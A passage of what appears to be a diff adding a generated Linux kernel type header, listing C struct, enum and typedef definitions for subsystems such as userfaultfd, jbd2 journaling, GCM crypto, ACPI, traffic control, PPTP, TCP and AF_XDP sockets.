PER_XENIX = 83886087, + PER_LINUX32 = 8, + PER_LINUX32_3GB = 134217736, + PER_IRIX32 = 67108873, + PER_IRIXN32 = 67108874, + PER_IRIX64 = 67108875, + PER_RISCOS = 12, + PER_SOLARIS = 67108877, + PER_UW7 = 68157454, + PER_OSF4 = 15, + PER_HPUX = 16, + PER_MASK = 255, +}; + +struct rusage { + struct __kernel_old_timeval ru_utime; + struct __kernel_old_timeval ru_stime; + __kernel_long_t ru_maxrss; + __kernel_long_t ru_ixrss; + __kernel_long_t ru_idrss; + __kernel_long_t ru_isrss; + __kernel_long_t ru_minflt; + __kernel_long_t ru_majflt; + __kernel_long_t ru_nswap; + __kernel_long_t ru_inblock; + __kernel_long_t ru_oublock; + __kernel_long_t ru_msgsnd; + __kernel_long_t ru_msgrcv; + __kernel_long_t ru_nsignals; + __kernel_long_t ru_nvcsw; + __kernel_long_t ru_nivcsw; +}; + +struct rlimit64 { + __u64 rlim_cur; + __u64 rlim_max; +}; + +struct oldold_utsname { + char sysname[9]; + char nodename[9]; + char release[9]; + char version[9]; + char machine[9]; +}; + +struct old_utsname { + char sysname[65]; + char nodename[65]; + char release[65]; + char version[65]; + char machine[65]; +}; + +struct prctl_mm_map { + __u64 start_code; + __u64 end_code; + __u64 start_data; + __u64 end_data; + __u64 start_brk; + __u64 brk; + __u64 start_stack; + __u64 arg_start; + __u64 arg_end; + __u64 env_start; + __u64 env_end; + __u64 *auxv; + __u32 auxv_size; + __u32 exe_fd; +}; + +struct tms { + __kernel_clock_t tms_utime; + __kernel_clock_t tms_stime; + __kernel_clock_t tms_cutime; + __kernel_clock_t tms_cstime; +}; + +struct getcpu_cache { + long unsigned int blob[16]; +}; + +struct module_use { + struct list_head source_list; + struct list_head target_list; + struct module *source; + struct module *target; +}; + +enum wd_read_status { + WD_READ_SUCCESS = 0, + WD_READ_UNSTABLE = 1, + WD_READ_SKIP = 2, +}; + +enum tick_broadcast_state { + TICK_BROADCAST_EXIT = 0, + TICK_BROADCAST_ENTER = 1, +}; + +typedef __u16 comp_t; + +typedef __u32 comp2_t; + +struct acct { + char ac_flag; + char ac_version; + __u16 ac_uid16; + __u16 ac_gid16; + __u16 ac_tty; + __u32 ac_btime; + comp_t ac_utime; + comp_t ac_stime; + comp_t ac_etime; + comp_t ac_mem; + comp_t ac_io; + comp_t ac_rw; + comp_t ac_minflt; + comp_t ac_majflt; + comp_t ac_swaps; + __u16 ac_ahz; + __u32 ac_exitcode; + char ac_comm[17]; + __u8 ac_etime_hi; + __u16 ac_etime_lo; + __u32 ac_uid; + __u32 ac_gid; +}; + +typedef struct acct acct_t; + +struct bsd_acct_struct { + struct fs_pin pin; + atomic_long_t count; + struct callback_head rcu; + struct mutex lock; + int active; + long unsigned int needcheck; + struct file *file; + struct pid_namespace *ns; + struct work_struct work; + struct completion done; +}; + +struct pcpu_freelist_node; + +struct pcpu_freelist_head { + struct pcpu_freelist_node *first; + raw_spinlock_t lock; +}; + +struct pcpu_freelist_node { + struct pcpu_freelist_node *next; +}; + +struct pcpu_freelist { + struct pcpu_freelist_head *freelist; + struct pcpu_freelist_head extralist; +}; + +struct bpf_local_storage_data; + +struct bpf_local_storage { + struct bpf_local_storage_data *cache[16]; + struct bpf_local_storage_map *smap; + struct hlist_head list; + void *owner; + struct callback_head rcu; + raw_spinlock_t lock; +}; + +struct bpf_local_storage_map_bucket; + +struct bpf_local_storage_map { + struct bpf_map map; + struct bpf_local_storage_map_bucket *buckets; + u32 bucket_log; + u16 elem_size; + u16 cache_idx; + struct bpf_mem_alloc selem_ma; + struct bpf_mem_alloc storage_ma; + bool bpf_ma; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct bpf_cgroup_storage_map { + struct bpf_map map; + spinlock_t lock; + struct rb_root root; + struct list_head list; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct bpf_local_storage_map_bucket { + struct hlist_head list; + raw_spinlock_t lock; +}; + +struct bpf_local_storage_data { + struct bpf_local_storage_map *smap; + u8 data[0]; +}; + +struct list_lru_memcg { + struct callback_head rcu; + struct list_lru_one node[0]; +}; + +struct list_lru_memcg_table { + struct list_lru_memcg *mlru; + struct mem_cgroup *memcg; +}; + +enum pgt_entry { + NORMAL_PMD = 0, + HPAGE_PMD = 1, + NORMAL_PUD = 2, + HPAGE_PUD = 3, +}; + +struct prepend_buffer { + char *buf; + int len; +}; + +struct userfaultfd_ctx { + wait_queue_head_t fault_pending_wqh; + wait_queue_head_t fault_wqh; + wait_queue_head_t fd_wqh; + wait_queue_head_t event_wqh; + seqcount_spinlock_t refile_seq; + refcount_t refcount; + unsigned int flags; + unsigned int features; + bool released; + atomic_t mmap_changing; + struct mm_struct *mm; +}; + +struct uffd_msg { + __u8 event; + __u8 reserved1; + __u16 reserved2; + __u32 reserved3; + union { + struct { + __u64 flags; + __u64 address; + union { + __u32 ptid; + } feat; + } pagefault; + struct { + __u32 ufd; + } fork; + struct { + __u64 from; + __u64 to; + __u64 len; + } remap; + struct { + __u64 start; + __u64 end; + } remove; + struct { + __u64 reserved1; + __u64 reserved2; + __u64 reserved3; + } reserved; + } arg; +}; + +struct uffdio_api { + __u64 api; + __u64 features; + __u64 ioctls; +}; + +struct uffdio_range { + __u64 start; + __u64 len; +}; + +struct uffdio_register { + struct uffdio_range range; + __u64 mode; + __u64 ioctls; +}; + +struct uffdio_copy { + __u64 dst; + __u64 src; + __u64 len; + __u64 mode; + __s64 copy; +}; + +struct uffdio_zeropage { + struct uffdio_range range; + __u64 mode; + __s64 zeropage; +}; + +struct uffdio_writeprotect { + struct uffdio_range range; + __u64 mode; +}; + +struct uffdio_continue { + struct uffdio_range range; + __u64 mode; + __s64 mapped; +}; + +struct userfaultfd_fork_ctx { + struct userfaultfd_ctx *orig; + struct userfaultfd_ctx *new; + struct list_head list; +}; + +struct userfaultfd_unmap_ctx { + struct userfaultfd_ctx *ctx; + long unsigned int start; + long unsigned int end; + struct list_head list; +}; + +struct userfaultfd_wait_queue { + struct uffd_msg msg; + wait_queue_entry_t wq; + struct userfaultfd_ctx *ctx; + bool waken; +}; + +struct userfaultfd_wake_range { + long unsigned int start; + long unsigned int len; +}; + +struct commit_header { + __be32 h_magic; + __be32 h_blocktype; + __be32 h_sequence; + unsigned char h_chksum_type; + unsigned char h_chksum_size; + unsigned char h_padding[2]; + __be32 h_chksum[8]; + __be64 h_commit_sec; + __be32 h_commit_nsec; +}; + +struct journal_block_tag3_s { + __be32 t_blocknr; + __be32 t_flags; + __be32 t_blocknr_high; + __be32 t_checksum; +}; + +typedef struct journal_block_tag3_s journal_block_tag3_t; + +struct journal_block_tag_s { + __be32 t_blocknr; + __be16 t_checksum; + __be16 t_flags; + __be32 t_blocknr_high; +}; + +typedef struct journal_block_tag_s journal_block_tag_t; + +struct jbd2_journal_block_tail { + __be32 t_checksum; +}; + +struct recovery_info { + tid_t start_transaction; + tid_t end_transaction; + int nr_replays; + int nr_revokes; + int nr_revoke_hits; +}; + +enum key_notification_subtype { + NOTIFY_KEY_INSTANTIATED = 0, + NOTIFY_KEY_UPDATED = 1, + NOTIFY_KEY_LINKED = 2, + NOTIFY_KEY_UNLINKED = 3, + NOTIFY_KEY_CLEARED = 4, + NOTIFY_KEY_REVOKED = 5, + NOTIFY_KEY_INVALIDATED = 6, + NOTIFY_KEY_SETATTR = 7, +}; + +struct keyring_read_iterator_context { + size_t buflen; + size_t count; + key_serial_t *buffer; +}; + +typedef struct { + __be64 a; + __be64 b; +} be128; + +struct gcm_instance_ctx { + struct crypto_skcipher_spawn ctr; + struct crypto_ahash_spawn ghash; +}; + +struct crypto_gcm_ctx { + struct crypto_skcipher *ctr; + struct crypto_ahash *ghash; +}; + +struct crypto_rfc4106_ctx { + struct crypto_aead *child; + u8 nonce[4]; +}; + +struct crypto_rfc4106_req_ctx { + struct scatterlist src[3]; + struct scatterlist dst[3]; + struct aead_request subreq; +}; + +struct crypto_rfc4543_instance_ctx { + struct crypto_aead_spawn aead; +}; + +struct crypto_rfc4543_ctx { + struct crypto_aead *child; + struct crypto_sync_skcipher *null; + u8 nonce[4]; +}; + +struct crypto_rfc4543_req_ctx { + struct aead_request subreq; +}; + +struct crypto_gcm_ghash_ctx { + unsigned int cryptlen; + struct scatterlist *src; + int (*complete)(struct aead_request *, u32); +}; + +struct crypto_gcm_req_priv_ctx { + u8 iv[16]; + u8 auth_tag[16]; + u8 iauth_tag[16]; + struct scatterlist src[3]; + struct scatterlist dst[3]; + struct scatterlist sg; + struct crypto_gcm_ghash_ctx ghash_ctx; + union { + struct ahash_request ahreq; + struct skcipher_request skreq; + } u; +}; + +enum { + IOPRIO_WHO_PROCESS = 1, + IOPRIO_WHO_PGRP = 2, + IOPRIO_WHO_USER = 3, +}; + +struct epoll_event { + __poll_t events; + __u64 data; +} __attribute__((packed)); + +struct io_epoll { + struct file *file; + int epfd; + int op; + int fd; + struct epoll_event event; +} __attribute__((packed)); + +typedef ZSTD_ErrorCode ERR_enum; + +typedef int16_t S16; + +typedef struct { + size_t bitContainer; + unsigned int bitsConsumed; + const char *ptr; + const char *start; + const char *limitPtr; +} BIT_DStream_t; + +typedef enum { + BIT_DStream_unfinished = 0, + BIT_DStream_endOfBuffer = 1, + BIT_DStream_completed = 2, + BIT_DStream_overflow = 3, +} BIT_DStream_status; + +typedef unsigned int FSE_DTable; + +typedef struct { + size_t state; + const void *table; +} FSE_DState_t; + +typedef struct { + U16 tableLog; + U16 fastMode; +} FSE_DTableHeader; + +typedef struct { + short unsigned int newState; + unsigned char symbol; + unsigned char nbBits; +} FSE_decode_t; + +typedef struct { + short int ncount[256]; + FSE_DTable dtable[1]; +} FSE_DecompressWksp; + +typedef long int mpi_limb_signed_t; + +struct pci_dynid { + struct list_head node; + struct pci_device_id id; +}; + +struct drv_dev_and_id { + struct pci_driver *drv; + struct pci_dev *dev; + const struct pci_device_id *id; +}; + +struct acpi_table_ecdt { + struct acpi_table_header header; + struct acpi_generic_address control; + struct acpi_generic_address data; + u32 uid; + u8 gpe; + u8 id[0]; +} __attribute__((packed)); + +struct transaction { + const u8 *wdata; + u8 *rdata; + short unsigned int irq_count; + u8 command; + u8 wi; + u8 ri; + u8 wlen; + u8 rlen; + u8 flags; +}; + +typedef int (*acpi_ec_query_func)(void *); + +enum ec_command { + ACPI_EC_COMMAND_READ = 128, + ACPI_EC_COMMAND_WRITE = 129, + ACPI_EC_BURST_ENABLE = 130, + ACPI_EC_BURST_DISABLE = 131, + ACPI_EC_COMMAND_QUERY = 132, +}; + +enum { + EC_FLAGS_QUERY_ENABLED = 0, + EC_FLAGS_EVENT_HANDLER_INSTALLED = 1, + EC_FLAGS_EC_HANDLER_INSTALLED = 2, + EC_FLAGS_EC_REG_CALLED = 3, + EC_FLAGS_QUERY_METHODS_INSTALLED = 4, + EC_FLAGS_STARTED = 5, + EC_FLAGS_STOPPED = 6, + EC_FLAGS_EVENTS_MASKED = 7, +}; + +struct acpi_ec_query_handler { + struct list_head node; + acpi_ec_query_func func; + acpi_handle handle; + void *data; + u8 query_bit; + struct kref kref; +}; + +struct acpi_ec_query { + struct transaction transaction; + struct work_struct work; + struct acpi_ec_query_handler *handler; + struct acpi_ec *ec; +}; + +struct acpi_ac { + struct power_supply *charger; + struct power_supply_desc charger_desc; + struct acpi_device *device; + long long unsigned int state; + struct notifier_block battery_nb; +}; + +struct kbentry { + unsigned char kb_table; + unsigned char kb_index; + short unsigned int kb_value; +}; + +struct kbsentry { + unsigned char kb_func; + unsigned char kb_string[512]; +}; + +struct kbdiacr { + unsigned char diacr; + unsigned char base; + unsigned char result; +}; + +struct kbdiacrs { + unsigned int kb_cnt; + struct kbdiacr kbdiacr[256]; +}; + +struct kbdiacrsuc { + unsigned int kb_cnt; + struct kbdiacruc kbdiacruc[256]; +}; + +struct kbkeycode { + unsigned int scancode; + unsigned int keycode; +}; + +struct kbd_repeat { + int delay; + int period; +}; + +struct keyboard_notifier_param { + struct vc_data *vc; + int down; + int shift; + int ledstate; + unsigned int value; +}; + +struct kbd_struct { + unsigned char lockstate; + unsigned char slockstate; + unsigned char ledmode: 1; + unsigned char ledflagstate: 4; + char: 3; + unsigned char default_ledflagstate: 4; + unsigned char kbdmode: 3; + int: 1; + unsigned char modeflags: 5; +}; + +typedef void k_handler_fn(struct vc_data *, unsigned char, char); + +typedef void fn_handler_fn(struct vc_data *); + +struct getset_keycode_data { + struct input_keymap_entry ke; + int error; +}; + +struct bond_net { + struct net *net; + struct list_head dev_list; + struct proc_dir_entry *proc_dir; + struct class_attribute class_attr_bonding_masters; +}; + +union input_seq_state { + struct { + short unsigned int pos; + bool mutex_acquired; + }; + void *p; +}; + +struct input_devres { + struct input_dev *input; +}; + +struct lifebook_data { + struct input_dev *dev2; + char phys[32]; +}; + +enum { + UNDEFINED_CAPABLE = 0, + SYSTEM_INTEL_MSR_CAPABLE = 1, + SYSTEM_AMD_MSR_CAPABLE = 2, + SYSTEM_IO_CAPABLE = 3, +}; + +struct acpi_cpufreq_data { + unsigned int resume; + unsigned int cpu_feature; + unsigned int acpi_perf_cpu; + cpumask_var_t freqdomain_cpus; + void (*cpu_freq_write)(struct acpi_pct_register *, u32); + u32 (*cpu_freq_read)(struct acpi_pct_register *); +}; + +struct drv_cmd { + struct acpi_pct_register *reg; + u32 val; + union { + void (*write)(struct acpi_pct_register *, u32); + u32 (*read)(struct acpi_pct_register *); + } func; +}; + +struct tso_t { + int next_frag_idx; + int size; + void *data; + u16 ip_id; + u8 tlen; + bool ipv6; + u32 tcp_seq; +}; + +struct tc_skb_ext { + union { + u64 act_miss_cookie; + __u32 chain; + }; + __u16 mru; + __u16 zone; + u8 post_ct: 1; + u8 post_ct_snat: 1; + u8 post_ct_dnat: 1; + u8 act_miss: 1; +}; + +enum { + TCA_ACT_UNSPEC = 0, + TCA_ACT_KIND = 1, + TCA_ACT_OPTIONS = 2, + TCA_ACT_INDEX = 3, + TCA_ACT_STATS = 4, + TCA_ACT_PAD = 5, + TCA_ACT_COOKIE = 6, + TCA_ACT_FLAGS = 7, + TCA_ACT_HW_STATS = 8, + TCA_ACT_USED_HW_STATS = 9, + TCA_ACT_IN_HW_COUNT = 10, + __TCA_ACT_MAX = 11, +}; + +struct psample_group { + struct list_head list; + struct net *net; + u32 group_num; + u32 refcount; + u32 seq; + struct callback_head rcu; +}; + +struct action_gate_entry { + u8 gate_state; + u32 interval; + s32 ipv; + s32 maxoctets; +}; + +enum qdisc_class_ops_flags { + QDISC_CLASS_OPS_DOIT_UNLOCKED = 1, +}; + +typedef void tcf_chain_head_change_t(struct tcf_proto *, void *); + +struct tcf_block_ext_info { + enum flow_block_binder_type binder_type; + tcf_chain_head_change_t *chain_head_change; + void *chain_head_change_priv; + u32 block_index; +}; + +struct tcf_qevent { + struct tcf_block *block; + struct tcf_block_ext_info info; + struct tcf_proto *filter_chain; +}; + +struct tcf_exts_miss_cookie_node { + const struct tcf_chain *chain; + const struct tcf_proto *tp; + const struct tcf_exts *exts; + u32 chain_index; + u32 tp_prio; + u32 handle; + u32 miss_cookie_base; + struct callback_head rcu; +}; + +enum pedit_header_type { + TCA_PEDIT_KEY_EX_HDR_TYPE_NETWORK = 0, + TCA_PEDIT_KEY_EX_HDR_TYPE_ETH = 1, + TCA_PEDIT_KEY_EX_HDR_TYPE_IP4 = 2, + TCA_PEDIT_KEY_EX_HDR_TYPE_IP6 = 3, + TCA_PEDIT_KEY_EX_HDR_TYPE_TCP = 4, + TCA_PEDIT_KEY_EX_HDR_TYPE_UDP = 5, + __PEDIT_HDR_TYPE_MAX = 6, +}; + +enum pedit_cmd { + TCA_PEDIT_KEY_EX_CMD_SET = 0, + TCA_PEDIT_KEY_EX_CMD_ADD = 1, + __PEDIT_CMD_MAX = 2, +}; + +struct tc_pedit_key { + __u32 mask; + __u32 val; + __u32 off; + __u32 at; + __u32 offmask; + __u32 shift; +}; + +struct tcf_pedit_key_ex { + enum pedit_header_type htype; + enum pedit_cmd cmd; +}; + +struct tcf_pedit_parms { + struct tc_pedit_key *tcfp_keys; + struct tcf_pedit_key_ex *tcfp_keys_ex; + u32 tcfp_off_max_hint; + unsigned char tcfp_nkeys; + unsigned char tcfp_flags; + struct callback_head rcu; +}; + +struct tcf_pedit { + struct tc_action common; + struct tcf_pedit_parms *parms; + long: 64; +}; + +struct PptpControlHeader { + __be16 messageType; + __u16 reserved; +}; + +struct PptpStartSessionRequest { + __be16 protocolVersion; + __u16 reserved1; + __be32 framingCapability; + __be32 bearerCapability; + __be16 maxChannels; + __be16 firmwareRevision; + __u8 hostName[64]; + __u8 vendorString[64]; +}; + +struct PptpStartSessionReply { + __be16 protocolVersion; + __u8 resultCode; + __u8 generalErrorCode; + __be32 framingCapability; + __be32 bearerCapability; + __be16 maxChannels; + __be16 firmwareRevision; + __u8 hostName[64]; + __u8 vendorString[64]; +}; + +struct PptpStopSessionRequest { + __u8 reason; + __u8 reserved1; + __u16 reserved2; +}; + +struct PptpStopSessionReply { + __u8 resultCode; + __u8 generalErrorCode; + __u16 reserved1; +}; + +struct PptpOutCallRequest { + __be16 callID; + __be16 callSerialNumber; + __be32 minBPS; + __be32 maxBPS; + __be32 bearerType; + __be32 framingType; + __be16 packetWindow; + __be16 packetProcDelay; + __be16 phoneNumberLength; + __u16 reserved1; + __u8 phoneNumber[64]; + __u8 subAddress[64]; +}; + +struct PptpOutCallReply { + __be16 callID; + __be16 peersCallID; + __u8 resultCode; + __u8 generalErrorCode; + __be16 causeCode; + __be32 connectSpeed; + __be16 packetWindow; + __be16 packetProcDelay; + __be32 physChannelID; +}; + +struct PptpInCallRequest { + __be16 callID; + __be16 callSerialNumber; + __be32 callBearerType; + __be32 physChannelID; + __be16 dialedNumberLength; + __be16 dialingNumberLength; + __u8 dialedNumber[64]; + __u8 dialingNumber[64]; + __u8 subAddress[64]; +}; + +struct PptpInCallReply { + __be16 callID; + __be16 peersCallID; + __u8 resultCode; + __u8 generalErrorCode; + __be16 packetWindow; + __be16 packetProcDelay; + __u16 reserved; +}; + +struct PptpInCallConnected { + __be16 peersCallID; + __u16 reserved; + __be32 connectSpeed; + __be16 packetWindow; + __be16 packetProcDelay; + __be32 callFramingType; +}; + +struct PptpClearCallRequest { + __be16 callID; + __u16 reserved; +}; + +struct PptpCallDisconnectNotify { + __be16 callID; + __u8 resultCode; + __u8 generalErrorCode; + __be16 causeCode; + __u16 reserved; + __u8 callStatistics[128]; +}; + +struct PptpWanErrorNotify { + __be16 peersCallID; + __u16 reserved; + __be32 crcErrors; + __be32 framingErrors; + __be32 hardwareOverRuns; + __be32 bufferOverRuns; + __be32 timeoutErrors; + __be32 alignmentErrors; +}; + +struct PptpSetLinkInfo { + __be16 peersCallID; + __u16 reserved; + __be32 sendAccm; + __be32 recvAccm; +}; + +union pptp_ctrl_union { + struct PptpStartSessionRequest sreq; + struct PptpStartSessionReply srep; + struct PptpStopSessionRequest streq; + struct PptpStopSessionReply strep; + struct PptpOutCallRequest ocreq; + struct PptpOutCallReply ocack; + struct PptpInCallRequest icreq; + struct PptpInCallReply icack; + struct PptpInCallConnected iccon; + struct PptpClearCallRequest clrreq; + struct PptpCallDisconnectNotify disc; + struct PptpWanErrorNotify wanerr; + struct PptpSetLinkInfo setlink; +}; + +struct nf_nat_pptp_hook { + int (*outbound)(struct sk_buff *, struct nf_conn *, enum ip_conntrack_info, unsigned int, struct PptpControlHeader *, union pptp_ctrl_union *); + int (*inbound)(struct sk_buff *, struct nf_conn *, enum ip_conntrack_info, unsigned int, struct PptpControlHeader *, union pptp_ctrl_union *); + void (*exp_gre)(struct nf_conntrack_expect *, struct nf_conntrack_expect *); + void (*expectfn)(struct nf_conn *, struct nf_conntrack_expect *); +}; + +union tcf_exts_miss_cookie { + struct { + u32 miss_cookie_base; + u32 act_index; + }; + u64 miss_cookie; +}; + +struct tcf_filter_chain_list_item { + struct list_head list; + tcf_chain_head_change_t *chain_head_change; + void *chain_head_change_priv; +}; + +struct tcf_net { + spinlock_t idr_lock; + struct idr idr; +}; + +struct tcf_block_owner_item { + struct list_head list; + struct Qdisc *q; + enum flow_block_binder_type binder_type; +}; + +struct tcf_chain_info { + struct tcf_proto **pprev; + struct tcf_proto *next; +}; + +struct tcf_dump_args { + struct tcf_walker w; + struct sk_buff *skb; + struct netlink_callback *cb; + struct tcf_block *block; + struct Qdisc *q; + u32 parent; + bool terse_dump; +}; + +enum ethtool_podl_pse_admin_state { + ETHTOOL_PODL_PSE_ADMIN_STATE_UNKNOWN = 1, + ETHTOOL_PODL_PSE_ADMIN_STATE_DISABLED = 2, + ETHTOOL_PODL_PSE_ADMIN_STATE_ENABLED = 3, +}; + +enum ethtool_podl_pse_pw_d_status { + ETHTOOL_PODL_PSE_PW_D_STATUS_UNKNOWN = 1, + ETHTOOL_PODL_PSE_PW_D_STATUS_DISABLED = 2, + ETHTOOL_PODL_PSE_PW_D_STATUS_SEARCHING = 3, + ETHTOOL_PODL_PSE_PW_D_STATUS_DELIVERING = 4, + ETHTOOL_PODL_PSE_PW_D_STATUS_SLEEP = 5, + ETHTOOL_PODL_PSE_PW_D_STATUS_IDLE = 6, + ETHTOOL_PODL_PSE_PW_D_STATUS_ERROR = 7, +}; + +struct pse_control_config { + enum ethtool_podl_pse_admin_state admin_cotrol; +}; + +struct pse_control_status { + enum ethtool_podl_pse_admin_state podl_admin_state; + enum ethtool_podl_pse_pw_d_status podl_pw_status; +}; + +struct pse_reply_data { + struct ethnl_reply_data base; + struct pse_control_status status; +}; + +enum pkt_hash_types { + PKT_HASH_TYPE_NONE = 0, + PKT_HASH_TYPE_L2 = 1, + PKT_HASH_TYPE_L3 = 2, + PKT_HASH_TYPE_L4 = 3, +}; + +enum sk_pacing { + SK_PACING_NONE = 0, + SK_PACING_NEEDED = 1, + SK_PACING_FQ = 2, +}; + +enum { + TCP_NO_QUEUE = 0, + TCP_RECV_QUEUE = 1, + TCP_SEND_QUEUE = 2, + TCP_QUEUES_NR = 3, +}; + +enum tsq_flags { + TSQF_THROTTLED = 1, + TSQF_QUEUED = 2, + TCPF_TSQ_DEFERRED = 4, + TCPF_WRITE_TIMER_DEFERRED = 8, + TCPF_DELACK_TIMER_DEFERRED = 16, + TCPF_MTU_REDUCED_DEFERRED = 32, +}; + +enum { + BPF_WRITE_HDR_TCP_CURRENT_MSS = 1, + BPF_WRITE_HDR_TCP_SYNACK_COOKIE = 2, +}; + +struct mptcp_out_options { + u16 suboptions; + struct mptcp_rm_list rm_list; + u8 join_id; + u8 backup; + u8 reset_reason: 4; + u8 reset_transient: 1; + u8 csum_reqd: 1; + u8 allow_join_id0: 1; + union { + struct { + u64 sndr_key; + u64 rcvr_key; + u64 data_seq; + u32 subflow_seq; + u16 data_len; + __sum16 csum; + }; + struct { + struct mptcp_addr_info addr; + u64 ahmac; + }; + struct { + struct mptcp_ext ext_copy; + u64 fail_seq; + }; + struct { + u32 nonce; + u32 token; + u64 thmac; + u8 hmac[20]; + }; + }; +}; + +enum tcp_queue { + TCP_FRAG_IN_WRITE_QUEUE = 0, + TCP_FRAG_IN_RTX_QUEUE = 1, +}; + +enum tcp_chrono { + TCP_CHRONO_UNSPEC = 0, + TCP_CHRONO_BUSY = 1, + TCP_CHRONO_RWND_LIMITED = 2, + TCP_CHRONO_SNDBUF_LIMITED = 3, + __TCP_CHRONO_MAX = 4, +}; + +struct tcp_out_options { + u16 options; + u16 mss; + u8 ws; + u8 num_sack_blocks; + u8 hash_size; + u8 bpf_opt_len; + __u8 *hash_location; + __u32 tsval; + __u32 tsecr; + struct tcp_fastopen_cookie *fastopen_cookie; + struct mptcp_out_options mptcp; +}; + +struct tsq_tasklet { + struct tasklet_struct tasklet; + struct list_head head; +}; + +struct bpf_fou_encap { + __be16 sport; + __be16 dport; +}; + +enum bpf_fou_encap_type { + FOU_BPF_ENCAP_FOU = 0, + FOU_BPF_ENCAP_GUE = 1, +}; + +struct xfrm_mode_skb_cb { + struct xfrm_tunnel_skb_cb header; + __be16 id; + __be16 frag_off; + u8 ihl; + u8 tos; + u8 ttl; + u8 protocol; + u8 optlen; + u8 flow_lbl[3]; +}; + +struct xfrm_spi_skb_cb { + struct xfrm_tunnel_skb_cb header; + unsigned int daddroff; + unsigned int family; + __be32 seq; +}; + +struct ipv6_rpl_sr_hdr { + __u8 nexthdr; + __u8 hdrlen; + __u8 type; + __u8 segments_left; + __u32 cmpre: 4; + __u32 cmpri: 4; + __u32 reserved: 4; + __u32 pad: 4; + __u32 reserved1: 16; + union { + struct { + struct {} __empty_addr; + struct in6_addr addr[0]; + }; + struct { + struct {} __empty_data; + __u8 data[0]; + }; + } segments; +}; + +struct vlan_group { + unsigned int nr_vlan_devs; + struct hlist_node hlist; + struct net_device **vlan_devices_arrays[16]; +}; + +struct vlan_info { + struct net_device *real_dev; + struct vlan_group grp; + struct list_head vid_list; + unsigned int nr_vids; + struct callback_head rcu; +}; + +enum vlan_ioctl_cmds { + ADD_VLAN_CMD = 0, + DEL_VLAN_CMD = 1, + SET_VLAN_INGRESS_PRIORITY_CMD = 2, + SET_VLAN_EGRESS_PRIORITY_CMD = 3, + GET_VLAN_INGRESS_PRIORITY_CMD = 4, + GET_VLAN_EGRESS_PRIORITY_CMD = 5, + SET_VLAN_NAME_TYPE_CMD = 6, + SET_VLAN_FLAG_CMD = 7, + GET_VLAN_REALDEV_NAME_CMD = 8, + GET_VLAN_VID_CMD = 9, +}; + +enum vlan_flags { + VLAN_FLAG_REORDER_HDR = 1, + VLAN_FLAG_GVRP = 2, + VLAN_FLAG_LOOSE_BINDING = 4, + VLAN_FLAG_MVRP = 8, + VLAN_FLAG_BRIDGE_BINDING = 16, +}; + +enum vlan_name_types { + VLAN_NAME_TYPE_PLUS_VID = 0, + VLAN_NAME_TYPE_RAW_PLUS_VID = 1, + VLAN_NAME_TYPE_PLUS_VID_NO_PAD = 2, + VLAN_NAME_TYPE_RAW_PLUS_VID_NO_PAD = 3, + VLAN_NAME_TYPE_HIGHEST = 4, +}; + +struct vlan_ioctl_args { + int cmd; + char device1[24]; + union { + char device2[24]; + int VID; + unsigned int skb_priority; + unsigned int name_type; + unsigned int bind_type; + unsigned int flag; + } u; + short int vlan_qos; +}; + +struct vlan_pcpu_stats { + u64_stats_t rx_packets; + u64_stats_t rx_bytes; + u64_stats_t rx_multicast; + u64_stats_t tx_packets; + u64_stats_t tx_bytes; + struct u64_stats_sync syncp; + u32 rx_errors; + u32 tx_dropped; +}; + +struct vlan_priority_tci_mapping { + u32 priority; + u16 vlan_qos; + struct vlan_priority_tci_mapping *next; +}; + +struct vlan_dev_priv { + unsigned int nr_ingress_mappings; + u32 ingress_priority_map[8]; + unsigned int nr_egress_mappings; + struct vlan_priority_tci_mapping *egress_priority_map[16]; + __be16 vlan_proto; + u16 vlan_id; + u16 flags; + struct net_device *real_dev; + netdevice_tracker dev_tracker; + unsigned char real_dev_addr[6]; + struct proc_dir_entry *dent; + struct vlan_pcpu_stats *vlan_pcpu_stats; +}; + +enum vlan_protos { + VLAN_PROTO_8021Q = 0, + VLAN_PROTO_8021AD = 1, + VLAN_PROTO_NUM = 2, +}; + +struct vlan_net { + struct proc_dir_entry *proc_vlan_dir; + struct proc_dir_entry *proc_vlan_conf; + short unsigned int name_type; +}; + +struct xdp_desc { + __u64 addr; + __u32 len; + __u32 options; +}; + +enum netdev_xdp_act { + NETDEV_XDP_ACT_BASIC = 1, + NETDEV_XDP_ACT_REDIRECT = 2, + NETDEV_XDP_ACT_NDO_XMIT = 4, + NETDEV_XDP_ACT_XSK_ZEROCOPY = 8, + NETDEV_XDP_ACT_HW_OFFLOAD = 16, + NETDEV_XDP_ACT_RX_SG = 32, + NETDEV_XDP_ACT_NDO_XMIT_SG = 64, + NETDEV_XDP_ACT_MASK = 127, +}; + +struct xdp_buff_xsk { + struct xdp_buff xdp; + u8 cb[24]; + dma_addr_t dma; + dma_addr_t frame_dma; + struct xsk_buff_pool *pool; + u64 orig_addr; + struct list_head free_list_node; +}; + +struct xdp_umem; + +struct xsk_queue; + +struct xsk_buff_pool { + struct device *dev; + struct net_device *netdev; + struct list_head xsk_tx_list; + spinlock_t xsk_tx_list_lock; + refcount_t users; + struct xdp_umem *umem; + struct work_struct work; + struct list_head free_list; + u32 heads_cnt; + u16 queue_id; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct xsk_queue *fq; + struct xsk_queue *cq; + dma_addr_t *dma_pages; + struct xdp_buff_xsk *heads; + struct xdp_desc *tx_descs; + u64 chunk_mask; + u64 addrs_cnt; + u32 free_list_cnt; + u32 dma_pages_cnt; + u32 free_heads_cnt; + u32 headroom; + u32 chunk_size; + u32 chunk_shift; + u32 frame_len; + u8 cached_need_wakeup; + bool uses_need_wakeup; + bool dma_need_sync; + bool unaligned; + void *addrs; + spinlock_t cq_lock; + struct xdp_buff_xsk *free_heads[0]; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct xsk_dma_map { + dma_addr_t *dma_pages; + struct device *dev; + struct net_device *netdev; + refcount_t users; + struct list_head list; + u32 dma_pages_cnt; + bool dma_need_sync; +}; + +struct xdp_umem { + void *addrs; + u64 size; + u32 headroom; + u32 chunk_size; + u32 chunks; + u32 npgs; + struct user_struct *user; + refcount_t users; + u8 flags; + bool zc; + struct page **pgs; + int id; + struct list_head xsk_dma_list; + struct work_struct work; +}; + +struct xdp_ring; + +struct xsk_queue { + u32 ring_mask; + u32 nentries; + u32 cached_prod; + u32 cached_cons; + struct xdp_ring *ring; + u64 invalid_descs; + u64 queue_empty_descs; + size_t ring_vmalloc_size; +}; + +struct xdp_sock { + struct sock sk; + struct xsk_queue *rx; + struct net_device 